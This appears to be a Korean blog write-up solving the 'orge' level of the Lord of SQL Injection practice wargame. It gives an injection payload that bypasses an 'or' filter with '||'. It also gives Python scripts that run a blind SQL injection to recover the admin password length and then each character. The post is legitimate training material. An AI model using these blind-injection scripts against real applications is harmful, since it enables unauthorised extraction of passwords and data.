power-girl0-0

[ Los ] orge 본문

War game/Lord of SQL Injection

[ Los ] orge

power-girl0-0 2021. 3. 20. 17:28
728x90

주소 : https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr


[ 문제 ]


[ 풀이 ]

이번 문제에서는 pw를 맞춰야 하는 문제로 예상된다.

 

pw를 입력하지 않고 id에 admin만 입력한 결과, "Hello admin"문구를 확인할 수 있다.

 

? pw=' || id='admin'%23

 

해당 문제에서도 or을 차단하고 있기 때문에 || 기호를 사용해야한다.

위의 True결과를 활용하여, Blind Sql Injection으로 pw를 유추할 수 있을 것으로 예상된다.

 

먼저, pw의 비밀번호 길이를 유추해주는 파이썬 코드를 작성해보자.

import requests

url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}



def length_pwd():
    pwd_len=0
    while 1 :
        pwd_len+=1
        print(pwd_len)
        value="' || id='admin' && length(pw)={}#".format(pwd_len)
        params={'pw':value}
        response = requests.get(url, params=params, cookies=cookies)
        if "Hello admin" in response.text:
            print("password length : ", pwd_len)
            break
    return pwd_len

 

이를 통해 비밀번호가 8자리인 것을 알 수 있다.

이제 길이를 구했으니, 비밀번호를 알아보자.

 

코드는 아래와 같다.

코드 설명은 앞 orc 문제와 비슷하므로, 생략하였다.

import requests

url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}



def length_pwd():
    pwd_len=0
    while 1 :
        pwd_len+=1
        print(pwd_len)
        value="' || id='admin' && length(pw)={}#".format(pwd_len)
        params={'pw':value}
        response = requests.get(url, params=params, cookies=cookies)
        if "Hello admin" in response.text:
            print("password length : ", pwd_len)
            break
    return pwd_len

 
def find_pwd(pwd_len):
    pwd=''
    
    for i in range(1,pwd_len+1):
        print(i,"번째 찾는 중")
        for j in range(48,122):
            value="' || id='admin' && ascii(substr(pw,{},1))={} #".format(i,j)
            params={'pw':value}
            response = requests.get(url, params=params, cookies=cookies)
            if "Hello admin" in response.text:
                pwd+=chr(j)
                print("password : ",pwd)
                break

find_pwd(length_pwd())

pw가 7b751aec라는 것을 알 수 있다.

 

이제 값을 입력하여, 문제를 clear해보자.

데이터베이스의 pw만 맞으면 상관없기 때문에 pw=7b751aec만 넘겨주면 된다.

문제 CLEAR!!

 

728x90

'War game > Lord of SQL Injection' 카테고리의 다른 글

[ Los ] vampire  (0) 2021.03.21
[ Los ] troll  (0) 2021.03.21
[ Los ] darkelf  (0) 2021.03.20
[ Los ] wolfman  (0) 2021.03.20
[ Los ] orc  (0) 2021.03.19
Comments